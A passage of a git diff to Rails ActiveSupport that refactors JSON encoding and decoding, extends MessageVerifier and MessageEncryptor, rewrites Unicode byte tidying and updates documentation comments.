       raise unless e.message =~ /not missing constant #{const_regexp(camel_cased_word)}\!$/
     end
@@ -318,10 +348,11 @@ module ActiveSupport
 
     private
 
-    # Mount a regular expression that will match part by part of the constant.
+    # Mounts a regular expression, returned as a string to ease interpolation,
+    # that will match part by part the given constant.
     #
-    #   const_regexp("Foo::Bar::Baz") # => /Foo(::Bar(::Baz)?)?/
-    #   const_regexp("::")            # => /::/
+    #   const_regexp("Foo::Bar::Baz") # => "Foo(::Bar(::Baz)?)?"
+    #   const_regexp("::")            # => "::"
     def const_regexp(camel_cased_word) #:nodoc:
       parts = camel_cased_word.split("::")
 
diff --git a/activesupport/lib/active_support/inflector/transliterate.rb b/activesupport/lib/active_support/inflector/transliterate.rb
index 1cde417fc5..edea142e82 100644
--- a/activesupport/lib/active_support/inflector/transliterate.rb
+++ b/activesupport/lib/active_support/inflector/transliterate.rb
@@ -67,17 +67,8 @@ module ActiveSupport
     # Replaces special characters in a string so that it may be used as part of
     # a 'pretty' URL.
     #
-    #   class Person
-    #     def to_param
-    #       "#{id}-#{name.parameterize}"
-    #     end
-    #   end
-    #
-    #   @person = Person.find(1)
-    #   # => #<Person id: 1, name: "Donald E. Knuth">
-    #
-    #   <%= link_to(@person.name, person_path(@person)) %>
-    #   # => <a href="/person/1-donald-e-knuth">Donald E. Knuth</a>
+    #   parameterize("Donald E. Knuth") # => "donald-e-knuth"
+    #   parameterize("^trés|Jolie-- ")  # => "tres-jolie"
     def parameterize(string, sep = '-')
       # replace accented chars with their ascii equivalents
       parameterized_string = transliterate(string)
@@ -92,6 +83,5 @@ module ActiveSupport
       end
       parameterized_string.downcase
     end
-
   end
 end
diff --git a/activesupport/lib/active_support/json/decoding.rb b/activesupport/lib/active_support/json/decoding.rb
index 30833a4cb1..35548f3f56 100644
--- a/activesupport/lib/active_support/json/decoding.rb
+++ b/activesupport/lib/active_support/json/decoding.rb
@@ -7,14 +7,24 @@ module ActiveSupport
   mattr_accessor :parse_json_times
 
   module JSON
+    # matches YAML-formatted dates
+    DATE_REGEX = /^(?:\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[T \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?))$/
+    
     class << self
       # Parses a JSON string (JavaScript Object Notation) into a hash.
-      # See www.json.org for more info.
+      # See http://www.json.org for more info.
       #
       #   ActiveSupport::JSON.decode("{\"team\":\"rails\",\"players\":\"36\"}")
       #   => {"team" => "rails", "players" => "36"}
-      def decode(json, proc = nil, options = {})
-        data = ::JSON.load(json, proc, options)
+      def decode(json, options = {})
+        if options.present?
+          raise ArgumentError, "In Rails 4.1, ActiveSupport::JSON.decode no longer " \
+            "accepts an options hash for MultiJSON. MultiJSON reached its end of life " \
+            "and has been removed."
+        end
+
+        data = ::JSON.parse(json, quirks_mode: true)
+
         if ActiveSupport.parse_json_times
           convert_dates_from(data)
         else
diff --git a/activesupport/lib/active_support/json/encoding.rb b/activesupport/lib/active_support/json/encoding.rb
index 77b5d8d227..48f4967892 100644
--- a/activesupport/lib/active_support/json/encoding.rb
+++ b/activesupport/lib/active_support/json/encoding.rb
@@ -1,344 +1,123 @@
-#encoding: us-ascii
-
-require 'active_support/core_ext/object/to_json'
+require 'active_support/core_ext/object/json'
 require 'active_support/core_ext/module/delegation'
 
-require 'bigdecimal'
-require 'active_support/core_ext/big_decimal/conversions' # for #to_s
-require 'active_support/core_ext/hash/except'
-require 'active_support/core_ext/hash/slice'
-require 'active_support/core_ext/object/instance_variables'
-require 'time'
-require 'active_support/core_ext/time/conversions'
-require 'active_support/core_ext/date_time/conversions'
-require 'active_support/core_ext/date/conversions'
-require 'set'
-
 module ActiveSupport
   class << self
     delegate :use_standard_json_time_format, :use_standard_json_time_format=,
+      :time_precision, :time_precision=,
       :escape_html_entities_in_json, :escape_html_entities_in_json=,
-      :encode_big_decimal_as_string, :encode_big_decimal_as_string=,
+      :json_encoder, :json_encoder=,
       :to => :'ActiveSupport::JSON::Encoding'
   end
 
   module JSON
-    # matches YAML-formatted dates
-    DATE_REGEX = /^(?:\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[T \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?))$/
-
     # Dumps objects in JSON (JavaScript Object Notation).
-    # See www.json.org for more info.
+    # See http://www.json.org for more info.
     #
     #   ActiveSupport::JSON.encode({ team: 'rails', players: '36' })
     #   # => "{\"team\":\"rails\",\"players\":\"36\"}"
     def self.encode(value, options = nil)
-      Encoding::Encoder.new(options).encode(value)
+      Encoding.json_encoder.new(options).encode(value)
     end
 
     module Encoding #:nodoc:
-      class CircularReferenceError < StandardError; end
-
-      class Encoder
+      class JSONGemEncoder #:nodoc:
         attr_reader :options
 
         def initialize(options = nil)
           @options = options || {}
-          @seen = Set.new
         end
 
-        def encode(value, use_options = true)
-          check_for_circular_references(value) do
-            jsonified = use_options ? value.as_json(options_for(value)) : value.as_json
-            jsonified.encode_json(self)
-          end
+        # Encode the given object into a JSON string
+        def encode(value)
+          stringify jsonify value.as_json(options.dup)
         end
 
-        # like encode, but only calls as_json, without encoding to string.
-        def as_json(value, use_options = true)
-          check_for_circular_references(value) do
-            use_options ? value.as_json(options_for(value)) : value.as_json
+        private
+          # Rails does more escaping than the JSON gem natively does (we
+          # escape \u2028 and \u2029 and optionally >, <, & to work around
+          # certain browser problems).
+          ESCAPED_CHARS = {
+            "\u2028" => '\u2028',
+            "\u2029" => '\u2029',
+            '>'      => '\u003e',
+            '<'      => '\u003c',
+            '&'      => '\u0026',
+            }
+
+          ESCAPE_REGEX_WITH_HTML_ENTITIES = /[\u2028\u2029><&]/u
+          ESCAPE_REGEX_WITHOUT_HTML_ENTITIES = /[\u2028\u2029]/u
+
+          # This class wraps all the strings we see and does the extra escaping
+          class EscapedString < String #:nodoc:
+            def to_json(*)
+              if Encoding.escape_html_entities_in_json
+                super.gsub ESCAPE_REGEX_WITH_HTML_ENTITIES, ESCAPED_CHARS
+              else
+                super.gsub ESCAPE_REGEX_WITHOUT_HTML_ENTITIES, ESCAPED_CHARS
+              end
+            end
           end
-        end
 
-        def options_for(value)
-          if value.is_a?(Array) || value.is_a?(Hash)
-            # hashes and arrays need to get encoder in the options, so that
-            # they can detect circular references.
-            options.merge(:encoder => self)
-          else
-            options.dup
+          # Mark these as private so we don't leak encoding-specific constructs
+          private_constant :ESCAPED_CHARS, :ESCAPE_REGEX_WITH_HTML_ENTITIES,
+            :ESCAPE_REGEX_WITHOUT_HTML_ENTITIES, :EscapedString
+
+          # Convert an object into a "JSON-ready" representation composed of
+          # primitives like Hash, Array, String, Numeric, and true/false/nil.
+          # Recursively calls #as_json to the object to recursively build a
+          # fully JSON-ready object.
+          #
+          # This allows developers to implement #as_json without having to
+          # worry about what base types of objects they are allowed to return
+          # or having to remember to call #as_json recursively.
+          #
+          # Note: the +options+ hash passed to +object.to_json+ is only passed
+          # to +object.as_json+, not any of this method's recursive +#as_json+
+          # calls.
+          def jsonify(value)
+            case value
+            when String
+              EscapedString.new(value)
+            when Numeric, NilClass, TrueClass, FalseClass
+              value
+            when Hash
+              Hash[value.map { |k, v| [jsonify(k), jsonify(v)] }]
+            when Array
+              value.map { |v| jsonify(v) }
+            else
+              jsonify value.as_json
+            end
           end
-        end
-
-        def escape(string)
-          Encoding.escape(string)
-        end
 
-        private
-          def check_for_circular_references(value)
-            unless @seen.add?(value.__id__)
-              raise CircularReferenceError, 'object references itself'
-            end
-            yield
-          ensure
-            @seen.delete(value.__id__)
+          # Encode a "jsonified" Ruby data structure using the JSON gem
+          def stringify(jsonified)
+            ::JSON.generate(jsonified, quirks_mode: true, max_nesting: false)
           end
       end
 
-
-      ESCAPED_CHARS = {
-        "\x00" => '\u0000', "\x01" => '\u0001', "\x02" => '\u0002',
-        "\x03" => '\u0003', "\x04" => '\u0004', "\x05" => '\u0005',
-        "\x06" => '\u0006', "\x07" => '\u0007', "\x0B" => '\u000B',
-        "\x0E" => '\u000E', "\x0F" => '\u000F', "\x10" => '\u0010',
-        "\x11" => '\u0011', "\x12" => '\u0012', "\x13" => '\u0013',
-        "\x14" => '\u0014', "\x15" => '\u0015', "\x16" => '\u0016',
-        "\x17" => '\u0017', "\x18" => '\u0018', "\x19" => '\u0019',
-        "\x1A" => '\u001A', "\x1B" => '\u001B', "\x1C" => '\u001C',
-        "\x1D" => '\u001D', "\x1E" => '\u001E', "\x1F" => '\u001F',
-        "\010" =>  '\b',
-        "\f"   =>  '\f',
-        "\n"   =>  '\n',
-        "\xe2\x80\xa8" => '\u2028',
-        "\xe2\x80\xa9" => '\u2029',
-        "\r"   =>  '\r',
-        "\t"   =>  '\t',
-        '"'    =>  '\"',
-        '\\'   =>  '\\\\',
-        '>'    =>  '\u003E',
-        '<'    =>  '\u003C',
-        '&'    =>  '\u0026',
-        "#{0xe2.chr}#{0x80.chr}#{0xa8.chr}" => '\u2028',
-        "#{0xe2.chr}#{0x80.chr}#{0xa9.chr}" => '\u2029',
-        }
-
       class << self
         # If true, use ISO 8601 format for dates and times. Otherwise, fall back
         # to the Active Support legacy format.
         attr_accessor :use_standard_json_time_format
 
-        # If false, serializes BigDecimal objects as numeric instead of wrapping
-        # them in a string.
-        attr_accessor :encode_big_decimal_as_string
-
-        attr_accessor :escape_regex
-        attr_reader :escape_html_entities_in_json
+        # If true, encode >, <, & as escaped unicode sequences (e.g. > as \u003e)
+        # as a safety measure.
+        attr_accessor :escape_html_entities_in_json
 
-        def escape_html_entities_in_json=(value)
-          self.escape_regex = \
-            if @escape_html_entities_in_json = value
-              /\xe2\x80\xa8|\xe2\x80\xa9|[\x00-\x1F"\\><&]/
-            else
-              /\xe2\x80\xa8|\xe2\x80\xa9|[\x00-\x1F"\\]/
-            end
-        end
+        # Sets the precision of encoded time values.
+        # Defaults to 3 (equivalent to millisecond precision)
+        attr_accessor :time_precision
 
-        def escape(string)
-          string = string.encode(::Encoding::UTF_8, :undef => :replace).force_encoding(::Encoding::BINARY)
-          json = string.gsub(escape_regex) { |s| ESCAPED_CHARS[s] }
-          json = %("#{json}")
-          json.force_encoding(::Encoding::UTF_8)
-          json
-        end
+        # Sets the encoder used by Rails to encode Ruby objects into JSON strings
+        # in +Object#to_json+ and +ActiveSupport::JSON.encode+.
+        attr_accessor :json_encoder
       end
 
       self.use_standard_json_time_format = true
       self.escape_html_entities_in_json  = true
-      self.encode_big_decimal_as_string  = true
-    end
-  end
-end
-
-class Object
-  def as_json(options = nil) #:nodoc:
-    if respond_to?(:to_hash)
-      to_hash
-    else
-      instance_values
-    end
-  end
-end
-
-class Struct #:nodoc:
-  def as_json(options = nil)
-    Hash[members.zip(values)]
-  end
-end
-
-class TrueClass
-  def as_json(options = nil) #:nodoc:
-    self
-  end
-
-  def encode_json(encoder) #:nodoc:
-    to_s
-  end
-end
-
-class FalseClass
-  def as_json(options = nil) #:nodoc:
-    self
-  end
-
-  def encode_json(encoder) #:nodoc:
-    to_s
-  end
-end
-
-class NilClass
-  def as_json(options = nil) #:nodoc:
-    self
-  end
-
-  def encode_json(encoder) #:nodoc:
-    'null'
-  end
-end
-
-class String
-  def as_json(options = nil) #:nodoc:
-    self
-  end
-
-  def encode_json(encoder) #:nodoc:
-    encoder.escape(self)
-  end
-end
-
-class Symbol
-  def as_json(options = nil) #:nodoc:
-    to_s
-  end
-end
-
-class Numeric
-  def as_json(options = nil) #:nodoc:
-    self
-  end
-
-  def encode_json(encoder) #:nodoc:
-    to_s
-  end
-end
-
-class Float
-  # Encoding Infinity or NaN to JSON should return "null". The default returns
-  # "Infinity" or "NaN" which breaks parsing the JSON. E.g. JSON.parse('[NaN]').
-  def as_json(options = nil) #:nodoc:
-    finite? ? self : nil
-  end
-end
-
-class BigDecimal
-  # A BigDecimal would be naturally represented as a JSON number. Most libraries,
-  # however, parse non-integer JSON numbers directly as floats. Clients using
-  # those libraries would get in general a wrong number and no way to recover
-  # other than manually inspecting the string with the JSON code itself.
-  #
-  # That's why a JSON string is returned. The JSON literal is not numeric, but
-  # if the other end knows by contract that the data is supposed to be a
-  # BigDecimal, it still has the chance to post-process the string and get the
-  # real value.
-  #
-  # Use <tt>ActiveSupport.use_standard_json_big_decimal_format = true</tt> to
-  # override this behavior.
-  def as_json(options = nil) #:nodoc:
-    if finite?
-      ActiveSupport.encode_big_decimal_as_string ? to_s : self
-    else
-      nil
-    end
-  end
-end
-
-class Regexp
-  def as_json(options = nil) #:nodoc:
-    to_s
-  end
-end
-
-module Enumerable
-  def as_json(options = nil) #:nodoc:
-    to_a.as_json(options)
-  end
-end
-
-class Range
-  def as_json(options = nil) #:nodoc:
-    to_s
-  end
-end
-
-class Array
-  def as_json(options = nil) #:nodoc:
-    # use encoder as a proxy to call as_json on all elements, to protect from circular references
-    encoder = options && options[:encoder] || ActiveSupport::JSON::Encoding::Encoder.new(options)
-    map { |v| encoder.as_json(v, options) }
-  end
-
-  def encode_json(encoder) #:nodoc:
-    # we assume here that the encoder has already run as_json on self and the elements, so we run encode_json directly
-    "[#{map { |v| v.encode_json(encoder) } * ','}]"
-  end
-end
-
-class Hash
-  def as_json(options = nil) #:nodoc:
-    # create a subset of the hash by applying :only or :except
-    subset = if options
-      if attrs = options[:only]
-        slice(*Array(attrs))
-      elsif attrs = options[:except]
-        except(*Array(attrs))
-      else
-        self
-      end
-    else
-      self
-    end
-
-    # use encoder as a proxy to call as_json on all values in the subset, to protect from circular references
-    encoder = options && options[:encoder] || ActiveSupport::JSON::Encoding::Encoder.new(options)
-    Hash[subset.map { |k, v| [k.to_s, encoder.as_json(v, options)] }]
-  end
-
-  def encode_json(encoder) #:nodoc:
-    # values are encoded with use_options = false, because we don't want hash representations from ActiveModel to be
-    # processed once again with as_json with options, as this could cause unexpected results (i.e. missing fields);
-
-    # on the other hand, we need to run as_json on the elements, because the model representation may contain fields
-    # like Time/Date in their original (not jsonified) form, etc.
-
-    "{#{map { |k,v| "#{encoder.encode(k.to_s)}:#{encoder.encode(v, false)}" } * ','}}"
-  end
-end
-
-class Time
-  def as_json(options = nil) #:nodoc:
-    if ActiveSupport.use_standard_json_time_format
-      xmlschema
-    else
-      %(#{strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
-    end
-  end
-end
-
-class Date
-  def as_json(options = nil) #:nodoc:
-    if ActiveSupport.use_standard_json_time_format
-      strftime("%Y-%m-%d")
-    else
-      strftime("%Y/%m/%d")
-    end
-  end
-end
-
-class DateTime
-  def as_json(options = nil) #:nodoc:
-    if ActiveSupport.use_standard_json_time_format
-      xmlschema
-    else
-      strftime('%Y/%m/%d %H:%M:%S %z')
+      self.json_encoder = JSONGemEncoder
+      self.time_precision = 3
     end
   end
 end
diff --git a/activesupport/lib/active_support/key_generator.rb b/activesupport/lib/active_support/key_generator.rb
index 598c46bce5..51d2da3a79 100644
--- a/activesupport/lib/active_support/key_generator.rb
+++ b/activesupport/lib/active_support/key_generator.rb
@@ -57,18 +57,16 @@ module ActiveSupport
     # secret they've provided is at least 30 characters in length.
     def ensure_secret_secure(secret)
       if secret.blank?
-        raise ArgumentError, "A secret is required to generate an " +
-          "integrity hash for cookie session data. Use " +
-          "config.secret_key_base = \"some secret phrase of at " +
-          "least #{SECRET_MIN_LENGTH} characters\"" +
-          "in config/initializers/secret_token.rb"
+        raise ArgumentError, "A secret is required to generate an integrity hash " \
+          "for cookie session data. Set a secret_key_base of at least " \
+          "#{SECRET_MIN_LENGTH} characters in config/secrets.yml."
       end
 
       if secret.length < SECRET_MIN_LENGTH
-        raise ArgumentError, "Secret should be something secure, " +
-          "like \"#{SecureRandom.hex(16)}\". The value you " +
-          "provided, \"#{secret}\", is shorter than the minimum length " +
-          "of #{SECRET_MIN_LENGTH} characters"
+        raise ArgumentError, "Secret should be something secure, " \
+          "like \"#{SecureRandom.hex(16)}\". The value you " \
+          "provided, \"#{secret}\", is shorter than the minimum length " \
+          "of #{SECRET_MIN_LENGTH} characters."
       end
     end
   end
diff --git a/activesupport/lib/active_support/logger.rb b/activesupport/lib/active_support/logger.rb
index 4a55bbb350..33fccdcf95 100644
--- a/activesupport/lib/active_support/logger.rb
+++ b/activesupport/lib/active_support/logger.rb
@@ -1,4 +1,4 @@
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/logger_silence'
 require 'logger'
 
diff --git a/activesupport/lib/active_support/message_encryptor.rb b/activesupport/lib/active_support/message_encryptor.rb
index bffdfc6201..92ab6fe648 100644
--- a/activesupport/lib/active_support/message_encryptor.rb
+++ b/activesupport/lib/active_support/message_encryptor.rb
@@ -12,7 +12,7 @@ module ActiveSupport
   # This can be used in situations similar to the <tt>MessageVerifier</tt>, but
   # where you don't want users to be able to determine the value of the payload.
   #
-  #   salt  = SecureRandom.random_bytes(64) 
+  #   salt  = SecureRandom.random_bytes(64)
   #   key   = ActiveSupport::KeyGenerator.new('password').generate_key(salt) # => "\x89\xE0\x156\xAC..."
   #   crypt = ActiveSupport::MessageEncryptor.new(key)                       # => #<ActiveSupport::MessageEncryptor ...>
   #   encrypted_data = crypt.encrypt_and_sign('my secret data')              # => "NlFBTTMwOUV5UlA1QlNEN2xkY2d6eThYWWh..."
@@ -40,6 +40,7 @@ module ActiveSupport
     # Options:
     # * <tt>:cipher</tt>     - Cipher to use. Can be any cipher returned by
     #   <tt>OpenSSL::Cipher.ciphers</tt>. Default is 'aes-256-cbc'.
+    # * <tt>:digest</tt> - String of digest to use for signing. Default is +SHA1+.
     # * <tt>:serializer</tt> - Object serializer to use. Default is +Marshal+.
     def initialize(secret, *signature_key_or_options)
       options = signature_key_or_options.extract_options!
@@ -47,7 +48,7 @@ module ActiveSupport
       @secret = secret
       @sign_secret = sign_secret
       @cipher = options[:cipher] || 'aes-256-cbc'
-      @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer)
+      @verifier = MessageVerifier.new(@sign_secret || @secret, digest: options[:digest] || 'SHA1', serializer: NullSerializer)
       @serializer = options[:serializer] || Marshal
     end
 
@@ -76,12 +77,12 @@ module ActiveSupport
       encrypted_data = cipher.update(@serializer.dump(value))
       encrypted_data << cipher.final
 
-      [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")
+      "#{::Base64.strict_encode64 encrypted_data}--#{::Base64.strict_encode64 iv}"
     end
 
     def _decrypt(encrypted_message)
       cipher = new_cipher
-      encrypted_data, iv = encrypted_message.split("--").map {|v| ::Base64.decode64(v)}
+      encrypted_data, iv = encrypted_message.split("--").map {|v| ::Base64.strict_decode64(v)}
 
       cipher.decrypt
       cipher.key = @secret
@@ -91,7 +92,7 @@ module ActiveSupport
       decrypted_data << cipher.final
 
       @serializer.load(decrypted_data)
-    rescue OpenSSLCipherError, TypeError
+    rescue OpenSSLCipherError, TypeError, ArgumentError
       raise InvalidMessage
     end
 
diff --git a/activesupport/lib/active_support/message_verifier.rb b/activesupport/lib/active_support/message_verifier.rb
index e0cd92ae3c..eee9bbaead 100644
--- a/activesupport/lib/active_support/message_verifier.rb
+++ b/activesupport/lib/active_support/message_verifier.rb
@@ -1,5 +1,6 @@
 require 'base64'
 require 'active_support/core_ext/object/blank'
+require 'active_support/security_utils'
 
 module ActiveSupport
   # +MessageVerifier+ makes it easy to generate and verify messages which are
@@ -27,37 +28,96 @@ module ActiveSupport
     class InvalidSignature < StandardError; end
 
     def initialize(secret, options = {})
+      raise ArgumentError, 'Secret should not be nil.' unless secret
       @secret = secret
       @digest = options[:digest] || 'SHA1'
       @serializer = options[:serializer] || Marshal
     end
 
-    def verify(signed_message)
-      raise InvalidSignature if signed_message.blank?
+    # Checks if a signed message could have been generated by signing an object
+    # with the +MessageVerifier+'s secret.
+    #
+    #   verifier = ActiveSupport::MessageVerifier.new 's3Krit'
+    #   signed_message = verifier.generate 'a private message'
+    #   verifier.valid_message?(signed_message) # => true
+    #
+    #   tampered_message = signed_message.chop # editing the message invalidates the signature
+    #   verifier.valid_message?(tampered_message) # => false
+    def valid_message?(signed_message)
+      return if signed_message.blank?
 
       data, digest = signed_message.split("--")
-      if data.present? && digest.present? && secure_compare(digest, generate_digest(data))
-        @serializer.load(::Base64.decode64(data))
-      else
-        raise InvalidSignature
+      data.present? && digest.present? && ActiveSupport::SecurityUtils.secure_compare(digest, generate_digest(data))
+    end
+
+    # Decodes the signed message using the +MessageVerifier+'s secret.
+    #
+    #   verifier = ActiveSupport::MessageVerifier.new 's3Krit'
+    #
+    #   signed_message = verifier.generate 'a private message'
+    #   verifier.verified(signed_message) # => 'a private message'
+    #
+    # Returns +nil+ if the message was not signed with the same secret.
+    #
+    #   other_verifier = ActiveSupport::MessageVerifier.new 'd1ff3r3nt-s3Krit'
+    #   other_verifier.verified(signed_message) # => nil
+    #
+    # Returns +nil+ if the message is not Base64-encoded.
+    #
+    #   invalid_message = "f--46a0120593880c733a53b6dad75b42ddc1c8996d"
+    #   verifier.verified(invalid_message) # => nil
+    #
+    # Raises any error raised while decoding the signed message.
+    #
+    #   incompatible_message = "test--dad7b06c94abba8d46a15fafaef56c327665d5ff"
+    #   verifier.verified(incompatible_message) # => TypeError: incompatible marshal file format
+    def verified(signed_message)
+      if valid_message?(signed_message)
+        begin
+          data = signed_message.split("--")[0]
+          @serializer.load(decode(data))
+        rescue ArgumentError => argument_error
+          return if argument_error.message =~ %r{invalid base64}
+          raise
+        end
       end
     end
 
+    # Decodes the signed message using the +MessageVerifier+'s secret.
+    #
+    #   verifier = ActiveSupport::MessageVerifier.new 's3Krit'
+    #   signed_message = verifier.generate 'a private message'
+    #
+    #   verifier.verify(signed_message) # => 'a private message'
+    #
+    # Raises +InvalidSignature+ if the message was not signed with the same
+    # secret or was not Base64-encoded.
+    #
+    #   other_verifier = ActiveSupport::MessageVerifier.new 'd1ff3r3nt-s3Krit'
+    #   other_verifier.verify(signed_message) # => ActiveSupport::MessageVerifier::InvalidSignature
+    def verify(signed_message)
+      verified(signed_message) || raise(InvalidSignature)
+    end
+
+    # Generates a signed message for the provided value.
+    #
+    # The message is signed with the +MessageVerifier+'s secret. Without knowing
+    # the secret, the original value cannot be extracted from the message.
+    #
+    #   verifier = ActiveSupport::MessageVerifier.new 's3Krit'
+    #   verifier.generate 'a private message' # => "BAhJIhRwcml2YXRlLW1lc3NhZ2UGOgZFVA==--e2d724331ebdee96a10fb99b089508d1c72bd772"
     def generate(value)
-      data = ::Base64.strict_encode64(@serializer.dump(value))
+      data = encode(@serializer.dump(value))
       "#{data}--#{generate_digest(data)}"
     end
 
     private
-      # constant-time comparison algorithm to prevent timing attacks
-      def secure_compare(a, b)
-        return false unless a.bytesize == b.bytesize
-
-        l = a.unpack "C#{a.bytesize}"
+      def encode(data)
+        ::Base64.strict_encode64(data)
+      end
 
-        res = 0
-        b.each_byte { |byte| res |= byte ^ l.shift }
-        res == 0
+      def decode(data)
+        ::Base64.strict_decode64(data)
       end
 
       def generate_digest(data)
diff --git a/activesupport/lib/active_support/multibyte/chars.rb b/activesupport/lib/active_support/multibyte/chars.rb
index a42e7f6542..3c0cf9f137 100644
--- a/activesupport/lib/active_support/multibyte/chars.rb
+++ b/activesupport/lib/active_support/multibyte/chars.rb
@@ -56,11 +56,10 @@ module ActiveSupport #:nodoc:
 
       # Forward all undefined methods to the wrapped string.
       def method_missing(method, *args, &block)
+        result = @wrapped_string.__send__(method, *args, &block)
         if method.to_s =~ /!$/
-          result = @wrapped_string.__send__(method, *args, &block)
           self if result
         else
-          result = @wrapped_string.__send__(method, *args, &block)
           result.kind_of?(String) ? chars(result) : result
         end
       end
diff --git a/activesupport/lib/active_support/multibyte/unicode.rb b/activesupport/lib/active_support/multibyte/unicode.rb
index 04e6b71580..35efebc65f 100644
--- a/activesupport/lib/active_support/multibyte/unicode.rb
+++ b/activesupport/lib/active_support/multibyte/unicode.rb
@@ -11,7 +11,7 @@ module ActiveSupport
       NORMALIZATION_FORMS = [:c, :kc, :d, :kd]
 
       # The Unicode version that is supported by the implementation
-      UNICODE_VERSION = '6.2.0'
+      UNICODE_VERSION = '7.0.0'
 
       # The default normalization used for operations that require
       # normalization. It can be set to any of the normalizations
@@ -42,7 +42,6 @@ module ActiveSupport
         0x0085,                # White_Space # Cc       <control-0085>
         0x00A0,                # White_Space # Zs       NO-BREAK SPACE
         0x1680,                # White_Space # Zs       OGHAM SPACE MARK
-        0x180E,                # White_Space # Zs       MONGOLIAN VOWEL SEPARATOR
         (0x2000..0x200A).to_a, # White_Space # Zs  [11] EN QUAD..HAIR SPACE
         0x2028,                # White_Space # Zl       LINE SEPARATOR
         0x2029,                # White_Space # Zp       PARAGRAPH SEPARATOR
@@ -212,37 +211,43 @@ module ActiveSupport
         codepoints
       end
 
-      # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent
-      # resulting in a valid UTF-8 string.
-      #
-      # Passing +true+ will forcibly tidy all bytes, assuming that the string's
-      # encoding is entirely CP1252 or ISO-8859-1.
-      def tidy_bytes(string, force = false)
-        return string if string.empty?
-
-        if force
-          return string.encode(Encoding::UTF_8, Encoding::Windows_1252, invalid: :replace, undef: :replace)
+      # Rubinius' String#scrub, however, doesn't support ASCII-incompatible chars.
+      if !defined?(Rubinius)
+        # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent
+        # resulting in a valid UTF-8 string.
+        #
+        # Passing +true+ will forcibly tidy all bytes, assuming that the string's
+        # encoding is entirely CP1252 or ISO-8859-1.
+        def tidy_bytes(string, force = false)
+          return string if string.empty?
+          return recode_windows1252_chars(string) if force
+          string.scrub { |bad| recode_windows1252_chars(bad) }
         end
+      else
+        def tidy_bytes(string, force = false)
+          return string if string.empty?
+          return recode_windows1252_chars(string) if force
+
+          # We can't transcode to the same format, so we choose a nearly-identical encoding.
+          # We're going to 'transcode' bytes from UTF-8 when possible, then fall back to
+          # CP1252 when we get errors. The final string will be 'converted' back to UTF-8
+          # before returning.
+          reader = Encoding::Converter.new(Encoding::UTF_8, Encoding::UTF_16LE)
+
+          source = string.dup
+          out = ''.force_encoding(Encoding::UTF_16LE)
+
+          loop do
+            reader.primitive_convert(source, out)
+            _, _, _, error_bytes, _ = reader.primitive_errinfo
+            break if error_bytes.nil?
+            out << error_bytes.encode(Encoding::UTF_16LE, Encoding::Windows_1252, invalid: :replace, undef: :replace)
+          end
 
-        # We can't transcode to the same format, so we choose a nearly-identical encoding.
-        # We're going to 'transcode' bytes from UTF-8 when possible, then fall back to
-        # CP1252 when we get errors. The final string will be 'converted' back to UTF-8
-        # before returning.
-        reader = Encoding::Converter.new(Encoding::UTF_8, Encoding::UTF_8_MAC)
-
-        source = string.dup
-        out = ''.force_encoding(Encoding::UTF_8_MAC)
+          reader.finish
 
-        loop do
-          reader.primitive_convert(source, out)
-          _, _, _, error_bytes, _ = reader.primitive_errinfo
-          break if error_bytes.nil?
-          out << error_bytes.encode(Encoding::UTF_8_MAC, Encoding::Windows_1252, invalid: :replace, undef: :replace)
+          out.encode!(Encoding::UTF_8)
         end
-
-        reader.finish
-
-        out.encode!(Encoding::UTF_8)
       end
 
       # Returns the KC normalization of the string by default. NFKC is
@@ -287,6 +292,13 @@ module ActiveSupport
       class Codepoint
         attr_accessor :code, :combining_class, :decomp_type, :decomp_mapping, :uppercase_mapping, :lowercase_mapping
 
+        # Initializing Codepoint object with default values
+        def initialize
+          @combining_class = 0
+          @uppercase_mapping = 0
+          @lowercase_mapping = 0
+        end
+
         def swapcase_mapping
           uppercase_mapping > 0 ? uppercase_mapping : lowercase_mapping
         end
@@ -322,7 +334,7 @@ module ActiveSupport
           begin
             @codepoints, @composition_exclusion, @composition_map, @boundary, @cp1252 = File.open(self.class.filename, 'rb') { |f| Marshal.load f.read }
           rescue => e
-              raise IOError.new("Couldn't load the Unicode tables for UTF8Handler (#{e.message}), ActiveSupport::Multibyte is unusable")
+            raise IOError.new("Couldn't load the Unicode tables for UTF8Handler (#{e.message}), ActiveSupport::Multibyte is unusable")
           end
 
           # Redefine the === method so we can write shorter rules for grapheme cluster breaks
@@ -354,6 +366,7 @@ module ActiveSupport
       private
 
       def apply_mapping(string, mapping) #:nodoc:
+        database.codepoints
         string.each_codepoint.map do |codepoint|
           cp = database.codepoints[codepoint]
           if cp and (ncp = cp.send(mapping)) and ncp > 0
@@ -364,20 +377,13 @@ module ActiveSupport
         end.pack('U*')
       end
 
-      def tidy_byte(byte)
-        if byte < 160
-          [database.cp1252[byte] || byte].pack("U").unpack("C*")
-        elsif byte < 192
-          [194, byte]
-        else
-          [195, byte - 64]
-        end
+      def recode_windows1252_chars(string)
+        string.encode(Encoding::UTF_8, Encoding::Windows_1252, invalid: :replace, undef: :replace)
       end
 
       def database
         @database ||= UnicodeDatabase.new
       end
-
     end
   end
 end
diff --git a/activesupport/lib/active_support/notifications.rb b/activesupport/lib/active_support/notifications.rb
index b32aa75e59..b9f8e1ab2c 100644
--- a/activesupport/lib/active_support/notifications.rb
+++ b/activesupport/lib/active_support/notifications.rb
@@ -16,7 +16,7 @@ module ActiveSupport
   #     render text: 'Foo'
   #   end
   #
-  # That executes the block first and notifies all subscribers once done.
+  # That first executes the block and then notifies all subscribers once done.
   #
   # In the example above +render+ is the name of the event, and the rest is called
   # the _payload_. The payload is a mechanism that allows instrumenters to pass
@@ -141,6 +141,11 @@ module ActiveSupport
   #
   #   ActiveSupport::Notifications.unsubscribe(subscriber)
   #
+  # You can also unsubscribe by passing the name of the subscriber object. Note
+  # that this will unsubscribe all subscriptions with the given name:
+  #
+  #   ActiveSupport::Notifications.unsubscribe("render")
+  #
   # == Default Queue
   #
   # Notifications ships with a queue implementation that consumes and publishes events
